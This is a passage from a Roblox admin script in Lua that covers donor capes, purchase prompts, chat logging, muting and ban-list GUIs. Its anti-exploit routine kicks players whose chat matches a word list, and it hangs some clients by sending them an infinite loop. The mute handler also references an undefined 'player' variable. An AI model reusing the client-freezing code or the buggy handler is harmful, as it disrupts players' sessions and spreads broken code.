- shirt.ShirtTemplate="http://www.roblox.com/asset/?id=60636107"
- pants.PantsTemplate="http://www.roblox.com/asset/?id=60636428"
- for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
- local cl = Instance.new("StringValue", char)
- cl.Name = "ify"
- cl.Parent = char
- for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and prt.Name~='HumanoidRootPart' and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = 0
- prt.Reflectance = 0
- prt.BrickColor = BrickColor.new("White")
- if prt.Name:find("Leg") or prt.Name:find('Arm') then
- prt.BrickColor = BrickColor.new("White") end
- local tconn = prt.Touched:connect(function(hit)
- if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then
- set.Infect(hit.Parent)
- elseif
- cl.Parent ~= char then tconn:disconnect() end end)
- cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
- elseif prt:findFirstChild("NameTag") then
- prt.Head.Transparency = 0
- prt.Head.Reflectance = 0
- prt.Head.BrickColor = BrickColor.new("White")
- end end
- end
- end
- set.ScrollGui=function()
- if set['FilteringEnabled'] then return end
- local scr = Instance.new("ScreenGui") scr.Name = GuiName.."LogsGUI"
- local drag = Instance.new("TextButton", scr)
- drag.Draggable = true
- drag.BackgroundTransparency = 1
- drag.Size = UDim2.new(0,400,0,30)
- drag.Position = UDim2.new(.5,-200,.5,-200)
- drag.AutoButtonColor = false
- drag.Text = ""
- drag.ZIndex=1
- local main = Instance.new("Frame", drag)
- main.Size = UDim2.new(0,400,0,400)
- main.ClipsDescendants = true
- main.BackgroundTransparency=set['Transparency']
- main.BackgroundColor3=set['PrimaryColor']
- main.BorderColor3=set['SecondaryColor']
- local cmf = Instance.new("ScrollingFrame", main)
- cmf.Position = UDim2.new(0,3,0,31)
- cmf.Size=UDim2.new(0,397,0,368)
- cmf.BorderColor3=set['SecondaryColor']
- cmf.ZIndex = 1
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- cmf.BackgroundTransparency=1
- cmf.BottomImage='http://roblox.com/asset?id=158348114'
- cmf.MidImage='http://roblox.com/asset?id=158348114'
- cmf.TopImage='http://roblox.com/asset?id=158348114'
- local top = Instance.new("TextLabel", main)
- top.Position=UDim2.new(0,0,0,0)
- top.Size=UDim2.new(0,405,0,30)
- top.BackgroundColor3=set['PrimaryColor']
- top.Text=''
- top.BorderColor3=set['SecondaryColor']
- top.ZIndex=9
- top.TextColor3=set['TextColor']
- top.Font='ArialBold'
- top.FontSize='Size18'
- local cls = Instance.new("TextButton", main)
- cls.Style = "Custom"
- cls.Size = UDim2.new(0,20,0,20)
- cls.Position = UDim2.new(1,-25,0,5)
- cls.ZIndex = 10
- cls.Font = "ArialBold"
- cls.FontSize = "Size18"
- cls.BackgroundColor3=set['PrimaryColor']
- cls.BorderColor3=set['SecondaryColor']
- cls.TextColor3 = set['SecondaryColor']
- cls.BackgroundTransparency=set['Transparency']
- cls.Text = "X"
- cls.MouseButton1Click:connect(function() scr:Destroy() end)
- local ent = Instance.new("TextLabel")
- ent.BackgroundTransparency = 1
- ent.Font = 'ArialBold'
- ent.FontSize = "Size18"
- ent.ZIndex = 8
- ent.Text = ""
- ent.TextColor3 = set['TextColor']
- ent.TextStrokeColor3 = set['TextStrokeColor']
- ent.TextStrokeTransparency = 0
- ent.TextXAlignment = "Left"
- ent.TextYAlignment = "Top"
- local num = 0
- return scr, cmf, ent, num, top
- end
- set.ReverseTable=function(tabz)
- local res = {}
- for i=#tabz,1,-1 do
- table.insert(res,tabz[i])
- end
- return res
- end
- set.ChkDonor=function(plr)
- if plr.AccountAge<=0 then return false end
- local val=false
- for i,v in pairs(set.donors) do
- if v and plr.Name==v.Name or plr.userId==v.Id then
- val=true
- end
- end
- if set.ChkDonorPass(plr) then val=true end
- return val
- end
- set.ChkDonorPass=function(plr)
- if not game:service('GamePassService') or not game:GetService("MarketplaceService") then return end
- for i,v in pairs(set.defaultpass) do
- if game:service('GamePassService'):PlayerHasPass(plr,v) or game:GetService("MarketplaceService"):PlayerOwnsAsset(plr,v) then
- return true
- end
- end
- end
- set.ChkCustomPass=function(plr)
- if not game:service('GamePassService') or not game:GetService("MarketplaceService") then return end
- for i,v in pairs(set.custompass) do
- if game:service('GamePassService'):PlayerHasPass(plr,v) or game:GetService("MarketplaceService"):PlayerOwnsAsset(plr,v) then
- return true
- end
- end
- end
- set.ChkDonorList=function(plr)
- for i,v in pairs(set.donors) do
- if v and plr.Name==v.Name or plr.userId==v.Id then
- return true
- end
- end
- end
- if game.CreatorId~=0 and game:GetService('MarketplaceService') then
- coroutine.wrap(function()
- set.dlastupdatenum=0
- while wait() do
- pcall(function()
- set.donors={}
- set.dlastupdate=set.GetTime()..' - '..set.dlastupdatenum
- set.dlastupdatenum=set.dlastupdatenum+1
- local col = game:GetService("InsertService"):GetCollection(1290539)
- for k,asset in pairs(col) do
- local ins=game:GetService('MarketplaceService'):GetProductInfo(asset.AssetId)
- local fo=ins.Description
- for so in fo:gmatch('[^;]+') do
- local name,id,cape,color=so:match('{(.*),(.*),(.*),(.*)}')
- table.insert(set.donors,{Name=name,Id=tostring(id),Cape=tostring(cape),Color=color,List=ins.Name})
- end
- end
- for ik,pl in pairs(game.Players:children()) do
- coroutine.wrap(function()
- pl:WaitForDataReady()
- if set.ChkDonor(pl) and not set.ChkDonorList(pl) and not (pl:LoadBoolean('Pancake Is A Donator',true) and pl:LoadString('Pancake Cape') and pl:LoadString('Pancake Cape'):match('(.*)=(.*)')) then
- table.insert(set.donors,{Name=pl.Name,Id=tostring(pl.userId),Cape='149009184',Color='White',List='GP(Custom)'})
- end
- if pl:LoadBoolean('Pancake Is A Donator',true) and pl:LoadString('Pancake Cape') and pl:LoadString('Pancake Cape'):match('(.*)=(.*)') then
- local st=pl:LoadString('Pancake Cape')
- local a,b=st:match('(.*)=(.*)')
- if not a or not b then return end
- for i,v in pairs(set.donors) do if v.Name==pl.Name then table.remove(set.donors,i) end end
- table.insert(set.donors,{Name=pl.Name,Id=tostring(pl.userId),Cape=a,Color=b,List='GP'})
- end
- end)()
- end
- wait(30)
- end)
- end
- end)()
- end
- set.Donor=function(plr)
- coroutine.wrap(function()
- for i,v in pairs(set.donors) do
- coroutine.wrap(function()
- if v and plr and (plr.Name==v.Name or plr.userId==v.Id) and (set['DonorStuff'] or plr.userId==1237666 or plr.userId==44391621) then
- coroutine.wrap(function()
- pcall(function()
- plr:WaitForChild('Backpack')
- pcall(function() plr.Character.EpicCape:Destroy() end)
- local gid=57902997
- --if plr.userId==1237666 or plr.userId==44391621 then
- -- gid=92142950
- --end
- local gear=game:GetService('InsertService'):LoadAsset(gid)
- for k,m in pairs(gear:children()) do
- if m:IsA('Tool') or m:IsA('HopperBin') then
- m.Parent=plr.Backpack
- end
- end
- gear:Destroy()
- end)
- end)()
- if plr and plr.Character and plr.Character:FindFirstChild("Torso") then
- wait()
- set.LoadOnClient(plr,[[
- local plr = game.Players.LocalPlayer
- repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
- local torso = plr.Character.Torso
- local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
- p.Transparency=0.0001
- p.Material='Plastic'
- p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("]]..v.Color..[[") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=]]..v.Cape..[[" dec.Transparency=0 p.formFactor = "Custom"
- p.Size = Vector3.new(.2,.2,.2)
- local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
- local motor1 = Instance.new("Motor", p)
- motor1.Part0 = p
- motor1.Part1 = torso
- motor1.MaxVelocity = .01
- motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
- motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
- local wave = false
- repeat wait(1/44)
- local ang = 0.1
- local oldmag = torso.Velocity.magnitude
- local mv = .002
- if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
- ang = ang + math.min(torso.Velocity.magnitude/11, .5)
- motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
- motor1.DesiredAngle = -ang
- if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
- repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
- if torso.Velocity.magnitude < .1 then wait(.1) end
- until not p or p.Parent ~= torso.Parent
- script:Destroy()
- ]],false,set.AssignName())
- end
- end
- end)()
- end
- end)()
- end
- set.Logit=function(plr,msg)
- local logit=true
- for i,v in pairs(set.dontlog) do if v and v.n==plr.Name and v.c==msg then logit=false end end
- return logit
- end
- set.Chat=function(msg,plr)
- local Success,Failed=ypcall(function()
- coroutine.wrap(function()
- coroutine.wrap(function()
- if set['ChatLog'] and not (msg:match(set['prefix']..'(.*)') and set.ChkAdmin(plr.Name,false)) then
- if game:service('Players'):FindFirstChild(plr.Name) and set.Logit(plr,msg) then
- table.insert(set.chatlogs,1,{Time=set.GetTime(),Name=plr.Name,Message=msg})
- elseif set.Logit(plr,msg) then
- table.insert(set.chatlogs,1,{Time=set.GetTime(),Name='(NIL) '..plr.Name,Message=msg})
- end
- if #set.chatlogs>=set['MaxNumberOfLogs'] then
- table.remove(set.chatlogs,#set.chatlogs)
- end
- end
- end)()
- if msg:lower():sub(1,2)=='/e' then msg=msg:sub(4) end
- coroutine.wrap(function()
- if set['AntiExploit'] then
- coroutine.wrap(function()
- if not set.ChkAdmin(plr.Name, false) then
- local m,c
- if set.canuseloadstring then
- m,c = loadstring(msg)
- else
- m=false
- end
- for d,j in pairs(set['AntiExploitWordList']) do
- if msg:lower():match(j:lower()) or m then
- if game.Players:FindFirstChild(plr.Name) then
- plr:Kick()
- else
- set.NilExecute(plr,[[while true do end]])
- end
- end
- end
- end
- end)()
- end
- end)()
- coroutine.wrap(function()
- if set['NoTalk'] then
- if plr:FindFirstChild('NoTalk') and not set.ChkAdmin(plr.Name,false) and plr.Character and plr.Character:FindFirstChild('Head') then
- if msg==set['anyprefix']..'attn' then
- game:GetService('Chat'):Chat(plr.Character.Head,'I need to speak to an Administrator!',Enum.ChatColor.Blue)
- elseif msg~=set['anyprefix']..'attn' and msg~=set['anyprefix']..'help' and plr.NoTalk.Value==0 then
- game:GetService('Chat'):Chat(plr.Character.Head,"You are not allowed to speak "..plr.Name.."! Use "..set['anyprefix'].."attn to get an Admin's attention. This is warning 1.",Enum.ChatColor.Blue)
- plr.NoTalk.Value=plr.NoTalk.Value+1
- elseif msg~=set['anyprefix']..'attn' and msg~=set['anyprefix']..'help' and player.NoTalk.Value==1 then
- game:GetService('Chat'):Chat(plr.Character.Head,'You have been told not to speak '..plr.Name..'! You will be punished next time! Use '..set['anyprefix']..'attn. Warning 2',Enum.ChatColor.Green)
- plr.NoTalk.Value=plr.NoTalk.Value+1
- elseif msg~=set['anyprefix']..'attn' and msg~=set['anyprefix']..'help' and plr.NoTalk.Value==2 then
- game:GetService('Chat'):Chat(plr.Character.Head,'You have been told not to speak '..plr.Name..'! You have been punished. Next is a kick. Use '..set['anyprefix']..'attn. Warning 3',Enum.ChatColor.Red)
- plr.Character:BreakJoints()
- plr.NoTalk.Value=player.NoTalk.Value+1
- elseif msg~=set['anyprefix']..'attn' and msg~=set['anyprefix']..'help' and plr.NoTalk.Value==3 then
- game:GetService('Chat'):Chat(plr.Character.Head,'You have been told not to speak '..plr.Name..'! This is the 4th time. Use '..set['anyprefix']..'attn next time. You will now be kicked.',Enum.ChatColor.Red)
- wait(1)
- plr:Kick()
- end
- end
- end
- end)()
- if set['PMUsableByAnyone'] or set.ChkAdmin(plr.Name,false) then
- local pre
- if set['PMUsableByAnyone'] then pre=set['anyprefix'] else pre=set['prefix'] end
- local cmd=pre.."pm "
- if msg:lower():sub(1,#cmd) == cmd then
- local chk1 = msg:lower():sub(#cmd+1):find(" ") + #cmd-1
- local message = msg:sub(chk1+1)
- for i,p in pairs(set.GetPlayers(plr, msg:lower():sub(#cmd+1,chk1-1))) do
- coroutine.wrap(function()
- set.PM('Private Message from '..plr.Name,p,message,plr)
- end)()
- end
- end
- end
- if set.ChkDonor(plr) then
- if msg:lower() == set['anyprefix'].."uncape" then
- if set['DonorStuff'] then
- pcall(function() plr.Character.EpicCape:Destroy() end)
- else
- set.Message("System Message","Donor Stuff is disabled in settings.",false,{plr})
- end
- end
- if msg:lower() == set['anyprefix'].."cape" then
- if set['DonorStuff'] then
- coroutine.wrap(function()
- for i,v in pairs(set.donors) do
- coroutine.wrap(function()
- if v and plr and (plr.Name==v.Name or plr.userId==v.Id) and (set['DonorStuff'] or plr.userId==1237666 or plr.userId==44391621) then
- pcall(function() plr.Character.EpicCape:Destroy() end)
- if plr and plr.Character and plr.Character:FindFirstChild("Torso") then
- set.LoadOnClient(plr,[[
- local plr = game.Players.LocalPlayer
- repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
- local torso = plr.Character.Torso
- local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
- p.Transparency=0.0001
- p.Material='Plastic'
- p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("]]..v.Color..[[") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=]]..v.Cape..[[" dec.Transparency=0 p.formFactor = "Custom"
- p.Size = Vector3.new(.2,.2,.2)
- local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
- local motor1 = Instance.new("Motor", p)
- motor1.Part0 = p
- motor1.Part1 = torso
- motor1.MaxVelocity = .01
- motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
- motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
- local wave = false
- repeat wait(1/44)
- local ang = 0.1
- local oldmag = torso.Velocity.magnitude
- local mv = .002
- if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
- ang = ang + math.min(torso.Velocity.magnitude/11, .5)
- motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
- motor1.DesiredAngle = -ang
- if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
- repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
- if torso.Velocity.magnitude < .1 then wait(.1) end
- until not p or p.Parent ~= torso.Parent
- script:Destroy()
- ]],false,set.AssignName())
- end
- end
- end)()
- end
- end)()
- else
- set.Message("System Message","Donor Stuff is disabled in settings.",false,{plr})
- end
- end
- end
- if msg:lower() == set['anyprefix'].."svdfsvsd" or msg:lower() == set['anyprefix'].."change" then
- if set['FilteringEnabled'] then return end
- if plr.PlayerGui:FindFirstChild(GuiName..'DONATIONGUI') then plr.PlayerGui[GuiName..'DONATIONGUI']:Destroy() end
- local g=Instance.new('ScreenGui',plr.PlayerGui) g.Name=GuiName..'DONATIONGUI'
- local f=Instance.new('Frame',g)
- local DBrb=Instance.new('TextButton',f)
- local DBtix=Instance.new('TextButton',f)
- local title=Instance.new('TextLabel',f)
- local desc=Instance.new('TextLabel',f)
- local close=Instance.new('TextButton',f)
- local ccbutton=Instance.new('TextButton',f)
- local ccbox=Instance.new('TextBox',f)
- ccbutton.BackgroundColor3=Color3.new(1,1,1)
- ccbutton.BackgroundTransparency=0.5
- ccbutton.BorderColor3=Color3.new(0,0,0)
- ccbutton.Position=UDim2.new(0,230,0,20)
- ccbutton.Size=UDim2.new(0,40,0,25)
- ccbutton.Font='ArialBold'
- ccbutton.Text='Get'
- ccbutton.TextColor3=Color3.new(1,1,1)
- ccbutton.TextStrokeTransparency=0
- ccbutton.Visible=false
- ccbutton.TextScaled=true
- ccbox.BackgroundColor3=Color3.new(1,1,1)
- ccbox.BorderColor3=Color3.new(0,0,0)
- ccbox.BackgroundTransparency=0.5
- ccbox.Position=UDim2.new(0,25,0,20)
- ccbox.Size=UDim2.new(0,200,0,25)
- ccbox.Font='ArialBold'
- ccbox.TextColor3=Color3.new(1,1,1)
- ccbox.TextStrokeTransparency=0
- ccbox.TextScaled=true
- ccbox.Visible=false
- ccbox.Text='TEXTUREID;BRICKCOLOR'
- f.BackgroundColor3=Color3.new(0,0,0)
- f.BorderColor3=Color3.new(1,1,1)
- f.BackgroundTransparency=0.5
- f.Position=UDim2.new(1,-700,0,80)
- f.Size=UDim2.new(0,300,0,150)
- f.Draggable=true
- f.Active=true
- DBrb.BackgroundColor3=Color3.new(0,170/255,0)
- DBrb.BorderColor3=Color3.new(0,0,0)
- DBrb.BackgroundTransparency=0.5
- DBrb.Position=UDim2.new(0,10,0,30)
- DBrb.Size=UDim2.new(0,130,0,50)
- DBrb.TextColor3=Color3.new(1,1,1)
- DBrb.TextStrokeTransparency=0
- DBrb.TextWrapped=true
- DBrb.TextScaled=true
- DBrb.Visible=false
- DBrb.Font='ArialBold'
- DBtix.BackgroundColor3=Color3.new(1,1,0)
- DBtix.BorderColor3=Color3.new(0,0,0)
- DBtix.BackgroundTransparency=0.5
- DBtix.Position=UDim2.new(0,160,0,30)
- DBtix.Size=UDim2.new(0,130,0,50)
- DBtix.TextColor3=Color3.new(1,1,1)
- DBtix.TextStrokeTransparency=0
- DBtix.TextWrapped=true
- DBtix.TextScaled=true
- DBtix.Font='ArialBold'
- DBtix.Visible=false
- close.BackgroundColor3=Color3.new(1,1,1)
- close.BorderColor3=Color3.new(0,0,0)
- close.BackgroundTransparency=0.5
- close.TextColor3=Color3.new(1,1,1)
- close.TextStrokeTransparency=0
- close.TextScaled=true
- close.TextWrapped=true
- close.Position=UDim2.new(0,280,0,2)
- close.Size=UDim2.new(0,15,0,15)
- close.Font='ArialBold'
- close.Text='X'
- close.MouseButton1Click:connect(function() g:Destroy() end)
- title.BackgroundTransparency=1
- title.Size=UDim2.new(0,300,0,15)
- title.Text='Donate'
- title.TextColor3=Color3.new(1,1,1)
- title.TextStrokeColor3=Color3.new(0,0,0)
- title.TextStrokeTransparency=0
- title.TextWrapped=true
- title.TextScaled=true
- title.Font='ArialBold'
- desc.BackgroundColor3=Color3.new(0,0,0)
- desc.BorderColor3=Color3.new(1,1,1)
- desc.BackgroundTransparency=0.5
- desc.Position=UDim2.new(0,0,0,90)
- desc.Size=UDim2.new(0,300,0,60)
- desc.Font='ArialBold'
- desc.TextColor3=Color3.new(1,1,1)
- desc.TextStrokeColor3=Color3.new(0,0,0)
- desc.TextStrokeTransparency=0
- desc.TextScaled=true
- desc.TextWrapped=true
- if set.ChkDonor(plr) and not set.ChkCustomPass(plr) then
- DBrb.Visible=true
- DBtix.Visible=true
- DBrb.Text='Custom Cape [RB]'
- DBtix.Text='Custom Cape [TIX]'
- desc.Text='You appear to be a donator! If you would like a custom cape you must buy the custom cape pass. YOU MUST SUPPLY A CUSTOM CAPE. I cannot make you one. Say !donate after you buy to change your cape for the game you are in!'
- DBrb.MouseButton1Click:connect(function()
- game:GetService("MarketplaceService"):PromptPurchase(plr,159551100,false,Enum.CurrencyType.Robux)
- end)
- DBtix.MouseButton1Click:connect(function()
- game:GetService("MarketplaceService"):PromptPurchase(plr,159551100,false,Enum.CurrencyType.Tix)
- end)
- elseif set.ChkDonor(plr) and set.ChkCustomPass(plr) then
- DBrb.Visible=false
- DBtix.Visible=false
- desc.Text='Make a custom cape and upload it as a decal (12 inches high 6 inches wide or it will look strange). The Texture ID will usually be the Decal ID minus 1 or 2 so if decal id is 123456 the texture id will be 123455 or 123454. Format: 1284552;Bright red'
- desc.Size=UDim2.new(0,300,0,100)
- desc.Position=UDim2.new(0,0,0,50)
- ccbutton.Visible=true
- ccbox.Visible=true
- ccbutton.MouseButton1Click:connect(function()
- plr:WaitForDataReady()
- local a,b
- if ccbox.Text:match('(.*);(.*)') then
- a,b = ccbox.Text:match('(.*);(.*)')
- else
- a=ccbox.Text
- b='Really black'
- end
- plr:SaveString('Pancake Cape',a..'='..b)
- plr:SaveBoolean('Pancake Is A Donator',true)
- for i,v in pairs(set.donors) do if v.Name==plr.Name then table.remove(set.donors,i) end end
- table.insert(set.donors,{Name=plr.Name,Id=tostring(plr.userId),Cape=a,Color=b,List='GP'})
- if plr.Character:FindFirstChild('EpicCape') and plr.Character.EpicCape:FindFirstChild('Decal') then
- plr.Character.EpicCape.Decal.Texture = "http://www.roblox.com/asset/?id="..a
- plr.Character.EpicCape.BrickColor=BrickColor.new(b)
- end
- end)
- else
- DBrb.Visible=true
- DBtix.Visible=true
- DBrb.Text='Donor Cape & Bongos [RB]'
- DBtix.Text='Donor Cape & Bongos [TIX]'
- desc.Text='If you donate you get the default donator cape and bongos in any game with this admin script and the Donor Stuff setting set to true. Prices may appear high because I only make 10% of sales and Tickets have lost worth. Respawn when you buy.'
- DBrb.MouseButton1Click:connect(function()
- game:GetService("MarketplaceService"):PromptPurchase(plr,159549976,false,Enum.CurrencyType.Robux)
- end)
- DBtix.MouseButton1Click:connect(function()
- game:GetService("MarketplaceService"):PromptPurchase(plr,159549976,false,Enum.CurrencyType.Tix)
- end)
- end
- end
- if set.ChkAdmin(plr.Name,false) or set.CheckSBLOwner(plr) then
- if msg:lower() == set['prefix'].."sbl" or msg:lower() == set['prefix'].."syncedbanlist" then
- if plr.PlayerGui:findFirstChild(GuiName.."SBLGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui()
- scr.Name = GuiName.."SBLGUI" scr.Parent = plr.PlayerGui
- top.Text='Syned Ban List'
- local function sbldisplay(p)
- num=0
- local col = game:GetService("InsertService"):GetCollection(set['SBLSetId'])
- for k,v in pairs(col) do
- coroutine.wrap(function()
- local mp = game:GetService("MarketplaceService"):GetProductInfo(v.AssetId)
- local fo = mp.Description:match("BANLIST:(%S+)")
- if not fo then return end
- for s in fo:gmatch("[^,]+") do
- if (s:lower():find(p) or mp.Name:lower():find(p) or p=='all') then
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = num.." | "..s..' - '..mp.Name:sub(#mp.Name-2,#mp.Name)..':'..mp.Creator.Name:sub(1,4)
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- num = num +1
- end
- end
- end)()
- end
- end
- sbldisplay('all')
- local b=Instance.new('TextBox',cmf.Parent)
- b.Size=UDim2.new(0,130,0,20)
- b.Position=UDim2.new(0,10,0,5)
- b.BackgroundColor3=set['SecondaryColor']
- b.BackgroundTransparency=set['Transparency']
- b.TextColor3=set['TextColor']
- b.TextStrokeTransparency=0
- b.Text=''
- b.ZIndex=15
- b.Font='ArialBold'
- b.TextScaled=true
- b.TextWrapped=true
- b.Changed:connect(function(o)
- if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then
- cmf:ClearAllChildren()
- sbldisplay(b.Text)
- elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then
- cmf:ClearAllChildren()
- sbldisplay('all')
- end
- end)
- end
- end
- if set['PlayerCommands'] or set.ChkAdmin(plr.Name,false) then
- if msg:lower() == set['anyprefix'].."clean" then
- set.CleanWorkspace()
- end
- if msg:lower() == set['anyprefix'].."getscript" then
- game:service('MarketplaceService'):PromptPurchase(plr,149223415)
- end
- if msg:lower() == set['anyprefix'].."getvip" then
- game:service('MarketplaceService'):PromptPurchase(plr,set['ItemId'])
- end
- if msg:lower() == set['anyprefix'].."ping" then
- if set['FilteringEnabled'] then return end
- coroutine.wrap(function()
- plr:WaitForChild('PlayerGui')
- if plr.PlayerGui:FindFirstChild(GuiName..'PING') then plr.PlayerGui[GuiName..'PING']:Destroy() end
- local g=Instance.new('ScreenGui',plr.PlayerGui) g.Name=GuiName..'PING'
- local f=Instance.new('Frame',g)
- local button=Instance.new('TextButton',f)
- local title=Instance.new('TextLabel',f)
- local ping=Instance.new('TextLabel',f)
- f.BackgroundColor3=set['PrimaryColor']
- f.BorderColor3=set['SecondaryColor']
- f.BackgroundTransparency=set['Transparency']
- f.Draggable=true
- f.Active=true
- f.Position=UDim2.new(1,-700,0,50)
- f.Size=UDim2.new(0,100,0,50)
- button.BackgroundColor3=set['SecondaryColor']
- button.BorderColor3=set['PrimaryColor']
- button.BackgroundTransparency=0.5
- button.Position=UDim2.new(0,85,0,2)
- button.Size=UDim2.new(0,13,0,13)
- button.Font='ArialBold'
- button.Text='X'
- button.TextColor3=set['SecondaryColor']
- button.TextStrokeTransparency=0
- button.TextStrokeColor3=set['TextStrokeColor']
- title.Text='Ping'
- title.Font='ArialBold'
- title.TextColor3=set['TextColor']
- title.TextStrokeColor3=set['TextStrokeColor']
- title.BackgroundTransparency=1
- title.Position=UDim2.new(0,5,0,0)
- title.Size=UDim2.new(0,90,0,15)
- ping.BackgroundColor3=set['PrimaryColor']
- ping.BorderColor3=set['SecondaryColor']
- ping.BackgroundTransparency=set['Transparency']
- ping.Position=UDim2.new(0,0,0,20)
- ping.Size=UDim2.new(0,100,0,30)
- ping.Font='ArialBold'
- ping.TextStrokeColor3=set['TextStrokeColor']
- ping.TextStrokeTransparency=0
- ping.TextColor3=set['TextColor']
- ping.Text='Sending...'
- coroutine.wrap(function()
- repeat
- ping.Text=set.Ping(plr)
- wait(1)
- until not g or not g.Parent or not ping or not ping.Parent
- end)()
- ping.TextScaled=true
- ping.TextWrapped=true
- title.TextScaled=true
- title.TextWrapped=true
- button.TextScaled=true
- button.TextWrapped=true
- title.TextStrokeTransparency=0
- button.MouseButton1Click:connect(function()
- pcall(function() g:Destroy() end)
- end)
- end)()
- end
- if msg:lower() == set['anyprefix'].."donors" or msg:lower() == set['anyprefix'].."donators" then
- if plr.PlayerGui:findFirstChild(GuiName.."DONATORGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui()
- scr.Name = GuiName.."DONATORGUI" scr.Parent = plr.PlayerGui
- top.Text='Donator List'
- local function donordisplay(p)
- num=0
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = "Last Update: "..set.dlastupdate
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- for i,v in pairs(set.donors) do
- if (p:lower()=='all' or v.Name:lower():sub(1,#p)==p:lower()) then
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = num.." | "..v.Name ..' - '..v.List
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- end
- end
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- end
- local b=Instance.new('TextBox',cmf.Parent)
- b.Size=UDim2.new(0,130,0,20)
- b.Position=UDim2.new(0,10,0,5)
- b.BackgroundColor3=set['SecondaryColor']
- b.BackgroundTransparency=set['Transparency']
- b.TextColor3=set['TextColor']
- b.TextStrokeTransparency=0
- b.Text=''
- b.ZIndex=15
- b.Font='ArialBold'
- b.TextScaled=true
- b.TextWrapped=true
- b.Changed:connect(function(o)
- if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then
- cmf:ClearAllChildren()
- donordisplay(b.Text)
- elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then
- cmf:ClearAllChildren()
- donordisplay('all')
- end
- end)
- local refresh = Instance.new("TextButton", cmf.Parent)
- refresh.Style = "Custom"
- refresh.Size = UDim2.new(0,20,0,20)
- refresh.TextScaled=true
- refresh.Position = UDim2.new(1,-50,0,5)
- refresh.ZIndex = 10
- refresh.Font = "ArialBold"
- refresh.FontSize = "Size18"
- refresh.Text = "R"
- refresh.BackgroundColor3=set['PrimaryColor']
- refresh.BorderColor3=set['SecondaryColor']
- refresh.TextColor3 = set['SecondaryColor']
- refresh.BackgroundTransparency=set['Transparency']
- refresh.MouseButton1Click:connect(function() cmf:ClearAllChildren() donordisplay('all') end)
- donordisplay('all')
- end
- if msg:lower() == set['anyprefix'].."quote" then
- set.PM('Random Quote',plr,set.quotes[math.random(1,#set.quotes)])
- end
- if msg:lower() == set['anyprefix'].."help" then
- if set['FilteringEnabled'] then return end
- if set['HelpSystem']==true then
- coroutine.wrap(function()
- local available={}
- local solved=false
- local num=0
- for l,n in pairs(set.needhelp) do
- if n==plr.Name then
- set.Message("Help System","You already have a pending request. Do not spam the help system.",false,{plr})
- solved=true
- end
- end
- if solved==true then return end
- table.insert(set.needhelp,plr.Name)
- for i,v in pairs(game.Players:children()) do
- if set.ChkAdmin(v.Name,false) then
- table.insert(available,v.Name)
- local scr=Instance.new("ScreenGui",v.PlayerGui)
- scr.Name = GuiName.."HELPGUI"
- local frame=Instance.new('Frame',scr)
- local label=Instance.new('TextLabel',frame)
- local yes=Instance.new('TextButton',frame)
- local no=Instance.new('TextButton',frame)
- frame.BackgroundColor3=set['PrimaryColor']
- frame.BorderColor3=set['SecondaryColor']
- frame.BackgroundTransparency=set['Transparency']
- frame.BorderSizePixel=2
- frame.Position=UDim2.new(0,5,1,-450)
- frame.Size=UDim2.new(0,260,0,130)
- frame.ClipsDescendants=true
- label.BackgroundTransparency=1
- label.BorderSizePixel=0
- label.Position=UDim2.new(0,30,0,8)
